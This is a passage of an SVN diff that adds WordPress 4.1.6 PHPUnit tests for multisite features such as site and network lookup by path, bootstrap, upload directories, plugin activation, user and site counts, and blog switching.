+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+		update_user_meta( $id, 'slash_test_1', $this->slash_2 );
+		update_user_meta( $id, 'slash_test_2', $this->slash_4 );
+		update_user_meta( $id, 'slash_test_3', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_3', true ) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/multisite.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/multisite.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/multisite.php	(revision 33402)
@@ -0,0 +1,72 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * A set of unit tests for WordPress Multisite
+ *
+ * @group multisite
+ */
+class Tests_Multisite extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER['REMOTE_ADDR'] = '';
+	}
+
+	function tearDown() {
+		global $wpdb;
+		parent::tearDown();
+		$wpdb->suppress_errors( $this->suppress );
+	}
+
+	function test_wpmu_log_new_registrations() {
+		global $wpdb;
+
+		$user = new WP_User( 1 );
+		$ip = preg_replace( '/[^0-9., ]/', '',$_SERVER['REMOTE_ADDR'] );
+
+		wpmu_log_new_registrations(1,1);
+
+		// currently there is no wrapper function for the registration_log
+		$reg_blog = $wpdb->get_col( "SELECT email FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.blog_id = 1 AND IP LIKE '" . $ip . "'" );
+		$this->assertEquals( $user->user_email, $reg_blog[ count( $reg_blog )-1 ] );
+	}
+
+	/**
+	 * @ticket 21570
+	 */
+	function test_aggressiveness_of_is_email_address_unsafe() {
+		update_site_option( 'banned_email_domains', array( 'bar.com', 'foo.co' ) );
+
+		foreach ( array( 'test@bar.com', 'test@foo.bar.com', 'test@foo.co', 'test@subdomain.foo.co' ) as $email_address ) {
+			$this->assertTrue( is_email_address_unsafe( $email_address ), "$email_address should be UNSAFE" );
+		}
+
+		foreach ( array( 'test@foobar.com', 'test@foo-bar.com', 'test@foo.com', 'test@subdomain.foo.com' ) as $email_address ) {
+			$this->assertFalse( is_email_address_unsafe( $email_address ), "$email_address should be SAFE" );
+		}
+	}
+
+	/**
+	 * @ticket 25046
+	 */
+	function test_case_sensitivity_of_is_email_address_unsafe() {
+		update_site_option( 'banned_email_domains', array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ) );
+
+		foreach ( array( 'test@Bar.com', 'tEst@bar.com', 'test@barFoo.com', 'tEst@foo.bar.com', 'test@baz.Com' ) as $email_address ) {
+			$this->assertTrue( is_email_address_unsafe( $email_address ), "$email_address should be UNSAFE" );
+		}
+
+		foreach ( array( 'test@Foobar.com', 'test@Foo-bar.com', 'tEst@foobar.com', 'test@Subdomain.Foo.com', 'test@fooBAz.com' ) as $email_address ) {
+			$this->assertFalse( is_email_address_unsafe( $email_address ), "$email_address should be SAFE" );
+		}
+
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/multisite/bootstrap.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/multisite/bootstrap.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/multisite/bootstrap.php	(revision 33402)
@@ -0,0 +1,273 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to the bootstrap process of Multisite.
+ *
+ * @group ms-bootstrap
+ * @group multisite
+ */
+class Tests_Multisite_Bootstrap extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER[ 'REMOTE_ADDR' ] = '';
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+
+	/**
+	 * @ticket 27003
+	 */
+	function test_get_network_by_path() {
+		global $wpdb;
+
+		$ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'wordpress.org/one/'     => array( 'domain' => 'wordpress.org', 'path' => '/one/' ),
+			'wordpress.net/'         => array( 'domain' => 'wordpress.net', 'path' => '/' ),
+			'www.wordpress.net/'     => array( 'domain' => 'www.wordpress.net', 'path' => '/' ),
+			'www.wordpress.net/two/' => array( 'domain' => 'www.wordpress.net', 'path' => '/two/' ),
+			'wordpress.net/three/'   => array( 'domain' => 'wordpress.net', 'path' => '/three/' ),
+		);
+
+		foreach ( $ids as &$id ) {
+			$id = $this->factory->network->create( $id );
+		}
+		unset( $id );
+
+		$this->assertEquals( $ids['www.wordpress.net/'],
+			get_network_by_path( 'www.wordpress.net', '/notapath/' )->id );
+
+		$this->assertEquals( $ids['www.wordpress.net/two/'],
+			get_network_by_path( 'www.wordpress.net', '/two/' )->id );
+
+		// This should find /one/ despite the www.
+		$this->assertEquals( $ids['wordpress.org/one/'],
+			get_network_by_path( 'www.wordpress.org', '/one/' )->id );
+
+		// This should not find /one/ because the domains don't match.
+		$this->assertEquals( $ids['wordpress.org/'],
+			get_network_by_path( 'site1.wordpress.org', '/one/' )->id );
+
+		$this->assertEquals( $ids['wordpress.net/three/'],
+			get_network_by_path( 'wordpress.net', '/three/' )->id );
+
+		$this->assertEquals( $ids['wordpress.net/'],
+			get_network_by_path( 'wordpress.net', '/notapath/' )->id );
+
+		$this->assertEquals( $ids['wordpress.net/'],
+			get_network_by_path( 'site1.wordpress.net', '/notapath/' )->id );
+
+		$this->assertEquals( $ids['wordpress.net/'],
+			get_network_by_path( 'site1.wordpress.net', '/three/' )->id );
+	}
+
+	/**
+	 * @ticket 27003
+	 * @ticket 27927
+	 */
+	function test_get_site_by_path() {
+		$ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/' ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/' ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/' ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/' ),
+			'www.w.org/'                  => array( 'domain' => 'www.w.org',          'path' => '/' ),
+			'www.w.org/foo/'              => array( 'domain' => 'www.w.org',          'path' => '/foo/' ),
+			'www.w.org/foo/bar/'          => array( 'domain' => 'www.w.org',          'path' => '/foo/bar/' ),
+		);
+
+		foreach ( $ids as &$id ) {
+			$id = $this->factory->blog->create( $id );
+		}
+		unset( $id );
+
+		$this->assertEquals( $ids['wordpress.org/'],
+			get_site_by_path( 'wordpress.org', '/notapath/' )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/'],
+			get_site_by_path( 'www.wordpress.org', '/notapath/' )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'wordpress.org', '/foo/bar/baz/' )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'www.wordpress.org', '/foo/bar/baz/' )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'wordpress.org', '/foo/bar/baz/', 3 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'www.wordpress.org', '/foo/bar/baz/', 3 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'wordpress.org', '/foo/bar/baz/', 2 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'],
+			get_site_by_path( 'www.wordpress.org', '/foo/bar/baz/', 2 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/'],
+			get_site_by_path( 'wordpress.org', '/foo/bar/baz/', 1 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/foo/'],
+			get_site_by_path( 'www.wordpress.org', '/foo/bar/baz/', 1 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/'],
+			get_site_by_path( 'wordpress.org', '/', 0 )->blog_id );
+
+		$this->assertEquals( $ids['wordpress.org/'],
+			get_site_by_path( 'www.wordpress.org', '/', 0 )->blog_id );
+
+		$this->assertEquals( $ids['make.wordpress.org/foo/'],
+			get_site_by_path( 'make.wordpress.org', '/foo/bar/baz/qux/', 4 )->blog_id );
+
+		$this->assertEquals( $ids['make.wordpress.org/foo/'],
+			get_site_by_path( 'www.make.wordpress.org', '/foo/bar/baz/qux/', 4 )->blog_id );
+
+		$this->assertEquals( $ids['www.w.org/'],
+			get_site_by_path( 'www.w.org', '/', 0 )->blog_id );
+
+		$this->assertEquals( $ids['www.w.org/'],
+			get_site_by_path( 'www.w.org', '/notapath/' )->blog_id );
+
+		$this->assertEquals( $ids['www.w.org/foo/bar/'],
+			get_site_by_path( 'www.w.org', '/foo/bar/baz/' )->blog_id );
+
+		$this->assertEquals( $ids['www.w.org/foo/'],
+			get_site_by_path( 'www.w.org', '/foo/bar/baz/', 1 )->blog_id );
+
+		// A site installed with www will not be found by the root domain.
+		$this->assertFalse( get_site_by_path( 'w.org', '/' ) );
+		$this->assertFalse( get_site_by_path( 'w.org', '/notapath/' ) );
+		$this->assertFalse( get_site_by_path( 'w.org', '/foo/bar/baz/' ) );
+		$this->assertFalse( get_site_by_path( 'w.org', '/foo/bar/baz/', 1 ) );
+
+		// A site will not be found by its root domain when an invalid subdomain is requested.
+		$this->assertFalse( get_site_by_path( 'invalid.wordpress.org', '/' ) );
+		$this->assertFalse( get_site_by_path( 'invalid.wordpress.org', '/foo/bar/' ) );
+	}
+
+	/**
+	 * @ticket 27884
+	 */
+	function test_multisite_bootstrap() {
+		global $current_blog;
+
+		$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/'    => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+		);
+
+		foreach ( $network_ids as &$id ) {
+			$id = $this->factory->network->create( $id );
+		}
+		unset( $id );
+
+		$ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/',         'site_id' => $network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/',     'site_id' => $network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/', 'site_id' => $network_ids['wordpress.org/'] ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/',         'site_id' => $network_ids['make.wordpress.org/'] ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/',     'site_id' => $network_ids['make.wordpress.org/'] ),
+		);
+
+		foreach ( $ids as &$id ) {
+			$id = $this->factory->blog->create( $id );
+		}
+		unset( $id );
+
+		$this->_setup_host_request( 'wordpress.org', '/' );
+		$this->assertEquals( $ids['wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/2014/04/23/hello-world/' );
+		$this->assertEquals( $ids['wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/sample-page/' );
+		$this->assertEquals( $ids['wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/?p=1' );
+		$this->assertEquals( $ids['wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/wp-admin/' );
+		$this->assertEquals( $ids['wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/foo/' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/FOO/' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/foo/2014/04/23/hello-world/' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/foo/sample-page/' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/foo/?p=1' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'wordpress.org', '/foo/wp-admin/' );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		// @todo not currently passing.
+		//$this->_setup_host_request( 'wordpress.org', '/foo/bar/' );
+		//$this->assertEquals( $ids['wordpress.org/foo/bar/'], $current_blog->blog_id );
+		//$this->assertEquals( $network_ids['wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'make.wordpress.org', '/' );
+		$this->assertEquals( $ids['make.wordpress.org/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['make.wordpress.org/'], $current_blog->site_id );
+
+		$this->_setup_host_request( 'make.wordpress.org', '/foo/' );
+		$this->assertEquals( $ids['make.wordpress.org/foo/'], $current_blog->blog_id );
+		$this->assertEquals( $network_ids['make.wordpress.org/'], $current_blog->site_id );
+
+		// Request the original tests domain and path to unpollute the stack.
+		$this->_setup_host_request( WP_TESTS_DOMAIN, '/' );
+	}
+
+	/**
+	 * Reset various globals required for a 'clean' multisite boot.
+	 *
+	 * The $wpdb and $table_prefix globals are required for ms-settings.php to
+	 * load properly.
+	 *
+	 * @param string $domain HTTP_HOST of the bootstrap request.
+	 * @param string $path   REQUEST_URI of the boot strap request.
+	 */
+	function _setup_host_request( $domain, $path ) {
+		global $current_site, $current_blog, $table_prefix, $wpdb;
+
+		$table_prefix = WP_TESTS_TABLE_PREFIX;
+		$current_site = $current_blog = null;
+		$_SERVER['HTTP_HOST'] = $domain;
+		$_SERVER['REQUEST_URI'] = $path;
+
+		include ABSPATH . '/wp-includes/ms-settings.php';
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/multisite/ms-files-rewriting.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/multisite/ms-files-rewriting.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/multisite/ms-files-rewriting.php	(revision 33402)
@@ -0,0 +1,92 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to the ms_files_rewriting option in multisite.
+ *
+ * The ms-files group tag must be used for these tests to run as the constants
+ * set in ms_upload_constants() conflict with a non ms-files configuration.
+ *
+ * @group ms-files
+ * @group multisite
+ */
+class Tests_Multisite_MS_Files_Rewriting extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER[ 'REMOTE_ADDR' ] = '';
+
+		update_site_option( 'ms_files_rewriting', 1 );
+		ms_upload_constants();
+	}
+
+	function tearDown() {
+		global $wpdb;
+
+		update_site_option( 'ms_files_rewriting', 0 );
+		$wpdb->suppress_errors( $this->suppress );
+
+		parent::tearDown();
+	}
+
+	function test_switch_upload_dir() {
+		$this->assertTrue( is_main_site() );
+
+		$site = get_current_site();
+
+		$user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$blog_id2 = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+
+		switch_to_blog( $blog_id2 );
+		$info2 = wp_upload_dir();
+		$this->assertNotEquals( $info, $info2 );
+		$this->assertEquals( get_option( 'siteurl' )  . '/wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info2['subdir'] );
+		$this->assertEquals( '', $info2['error'] );
+		restore_current_blog();
+	}
+
+	/**
+	 * When a site is deleted with wpmu_delete_blog(), only the files associated with
+	 * that site should be removed. When wpmu_delete_blog() is run a second time, nothing
+	 * should change with upload directories.
+	 */
+	function test_upload_directories_after_multiple_wpmu_delete_blog_with_ms_files() {
+		$filename = rand_str().'.jpg';
+		$contents = rand_str();
+
+		// Upload a file to the main site on the network.
+		$file1 = wp_upload_bits( $filename, null, $contents );
+
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+		$file2 = wp_upload_bits( $filename, null, $contents );
+		restore_current_blog();
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertTrue( file_exists( $file1['file'] ) );
+		$this->assertFalse( file_exists( $file2['file'] ) );
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertTrue( file_exists( $file1['file'] ) );
+		$this->assertFalse( file_exists( $file2['file'] ) );
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/multisite/network.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/multisite/network.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/multisite/network.php	(revision 33402)
@@ -0,0 +1,197 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to networks in multisite.
+ *
+ * @group ms-network
+ * @group multisite
+ */
+class Tests_Multisite_Network extends WP_UnitTestCase {
+	protected $plugin_hook_count = 0;
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER[ 'REMOTE_ADDR' ] = '';
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 22917
+	 */
+	function test_enable_live_network_site_counts_filter() {
+		$site_count_start = get_blog_count();
+		// false for large networks by default
+		add_filter( 'enable_live_network_counts', '__return_false' );
+		$this->factory->blog->create_many( 4 );
+
+		// count only updated when cron runs, so unchanged
+		$this->assertEquals( $site_count_start, (int) get_blog_count() );
+
+		add_filter( 'enable_live_network_counts', '__return_true' );
+		$site_ids = $this->factory->blog->create_many( 4 );
+
+		$this->assertEquals( $site_count_start + 9, (int) get_blog_count() );
+
+		//clean up
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+		remove_filter( 'enable_live_network_counts', '__return_true' );
+		foreach ( $site_ids as $site_id ) {
+			wpmu_delete_blog( $site_id, true );
+		}
+	}
+	/**
+	 * @ticket 22917
+	 */
+	function test_enable_live_network_user_counts_filter() {
+		// false for large networks by default
+		add_filter( 'enable_live_network_counts', '__return_false' );
+
+		// Refresh the cache
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		wpmu_create_user( 'user', 'pass', 'email' );
+
+		// No change, cache not refreshed
+		$count = get_user_count();
+
+		$this->assertEquals( $start_count, $count );
+
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		add_filter( 'enable_live_network_counts', '__return_true' );
+
+		wpmu_create_user( 'user2', 'pass2', 'email2' );
+
+		$count = get_user_count();
+		$this->assertEquals( $start_count + 1, $count );
+
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+		remove_filter( 'enable_live_network_counts', '__return_true' );
+	}
+
+	function test_active_network_plugins() {
+		$path = "hello.php";
+
+		// local activate, should be invisible for the network
+		activate_plugin($path); // $network_wide = false
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(), $active_plugins );
+
+		add_action( 'deactivated_plugin', array( $this, '_helper_deactivate_hook' ) );
+
+		// activate the plugin sitewide
+		activate_plugin($path, '', $network_wide = true);
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(WP_PLUGIN_DIR . '/hello.php'), $active_plugins );
+
+		//deactivate the plugin
+		deactivate_plugins($path);
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(), $active_plugins );
+
+		$this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+
+		activate_plugin($path, '', $network_wide = true);
+		deactivate_plugins($path, true); // silent
+
+		$this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+	}
+
+	/**
+	 * @ticket 28651
+	 */
+	function test_duplicate_network_active_plugin() {
+		$path = "hello.php";
+		$mock = new MockAction();
+		add_action( 'activate_' . $path, array ( $mock, 'action' ) );
+
+		// should activate on the first try
+		activate_plugin( $path, '', true );
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertCount( 1, $active_plugins );
+		$this->assertEquals( 1, $mock->get_call_count() );
+
+		// should do nothing on the second try
+		activate_plugin( $path, '', true );
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertCount( 1, $active_plugins );
+		$this->assertEquals( 1, $mock->get_call_count() );
+
+		remove_action( 'activate_' . $path, array ( $mock, 'action' ) );
+	}
+
+	function test_is_plugin_active_for_network_true() {
+		activate_plugin( 'hello.php', '', true );
+		$this->assertTrue( is_plugin_active_for_network( 'hello.php' ) );
+	}
+
+	function test_is_plugin_active_for_network_false() {
+		deactivate_plugins( 'hello.php', false, true );
+		$this->assertFalse( is_plugin_active_for_network( 'hello.php' ) );
+	}
+
+	function _helper_deactivate_hook() {
+		$this->plugin_hook_count++;
+	}
+
+	function test_get_user_count() {
+		// Refresh the cache
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		// Only false for large networks as of 3.7
+		add_filter( 'enable_live_network_counts', '__return_false' );
+		$this->factory->user->create( array( 'role' => 'administrator' ) );
+
+		$count = get_user_count(); // No change, cache not refreshed
+		$this->assertEquals( $start_count, $count );
+
+		wp_update_network_counts(); // Magic happens here
+
+		$count = get_user_count();
+		$this->assertEquals( $start_count + 1, $count );
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+	}
+
+	function test_wp_schedule_update_network_counts() {
+		$this->assertFalse(wp_next_scheduled('update_network_counts'));
+
+		// We can't use wp_schedule_update_network_counts() because WP_INSTALLING is set
+		wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
+
+		$this->assertInternalType('int', wp_next_scheduled('update_network_counts'));
+	}
+
+	/**
+	 * @expectedDeprecated get_dashboard_blog
+	 */
+	function test_get_dashboard_blog() {
+		// if there is no dashboard blog set, current blog is used
+		$dashboard_blog = get_dashboard_blog();
+		$this->assertEquals( 1, $dashboard_blog->blog_id );
+
+		$user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$blog_id = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+		$this->assertInternalType( 'int', $blog_id );
+
+		// set the dashboard blog to another one
+		update_site_option( 'dashboard_blog', $blog_id );
+		$dashboard_blog = get_dashboard_blog();
+		$this->assertEquals( $blog_id, $dashboard_blog->blog_id );
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/multisite/site.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/multisite/site.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/multisite/site.php	(revision 33402)
@@ -0,0 +1,1393 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to sites in multisite.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Site extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER[ 'REMOTE_ADDR' ] = '';
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	function test_switch_restore_blog() {
+		global $_wp_switched_stack, $wpdb;
+
+		$this->assertEquals( array(), $_wp_switched_stack );
+		$this->assertFalse( ms_is_switched() );
+		$current_blog_id = get_current_blog_id();
+		$this->assertInternalType( 'integer', $current_blog_id );
+
+		wp_cache_set( 'switch-test', $current_blog_id, 'switch-test' );
+		$this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		$blog_id = $this->factory->blog->create();
+
+		$cap_key = wp_get_current_user()->cap_key;
+		switch_to_blog( $blog_id );
+		$this->assertNotEquals( $cap_key, wp_get_current_user()->cap_key );
+		$this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertFalse( wp_cache_get( 'switch-test', 'switch-test' ) );
+		wp_cache_set( 'switch-test', $blog_id, 'switch-test' );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		switch_to_blog( $blog_id );
+		$this->assertEquals( array( $current_blog_id, $blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		restore_current_blog();
+		$this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		restore_current_blog();
+		$this->assertEquals( $cap_key, wp_get_current_user()->cap_key );
+		$this->assertEquals( $current_blog_id, get_current_blog_id() );
+		$this->assertEquals( array(), $_wp_switched_stack );
+		$this->assertFalse( ms_is_switched() );
+		$this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		$this->assertFalse( restore_current_blog() );
+	}
+
+	/**
+	 * Test the cache keys and database tables setup through the creation of a site.
+	 */
+	function test_created_site_details() {
+		global $wpdb;
+
+		$blog_id = $this->factory->blog->create();
+
+		$this->assertInternalType( 'int', $blog_id );
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+
+		// $get_all = false, only retrieve details from the blogs table
+		$details = get_blog_details( $blog_id, false );
+
+		// Combine domain and path for a site specific cache key.
+		$key = md5( $details->domain . $details->path );
+
+		$this->assertEquals( $details, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+
+		// get_id_from_blogname(), see #20950
+		$this->assertEquals( $blog_id, get_id_from_blogname( $details->path ) );
+		$this->assertEquals( $blog_id, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+
+		// get_blogaddress_by_name()
+		$this->assertEquals( 'http://' . $details->domain . $details->path, get_blogaddress_by_name( trim( $details->path, '/' ) ) );
+
+		// These are empty until get_blog_details() is called with $get_all = true
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+
+		// $get_all = true, populate the full blog-details cache and the blog slug lookup cache
+		$details = get_blog_details( $blog_id, true );
+		$this->assertEquals( $details, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( $details, wp_cache_get( $key, 'blog-lookup' ) );
+
+		// Check existence of each database table for the created site.
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress     = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+
+			// The table should exist.
+			$this->assertNotEmpty( $table_fields );
+
+			// And the table should not be empty, unless commentmeta or links.
+			$result = $wpdb->get_results( "SELECT * FROM $prefix$table LIMIT 1" );
+			if ( 'commentmeta' == $table || 'links' == $table ) {
+				$this->assertEmpty( $result );
+			} else {
+				$this->assertNotEmpty( $result );
+			}
+		}
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 2, (int) get_blog_count() );
+	}
+
+	/**
+	 * When a site is flagged as 'deleted', its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_drop_false() {
+		$blog_id = $this->factory->blog->create();
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		$this->assertEquals( false, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
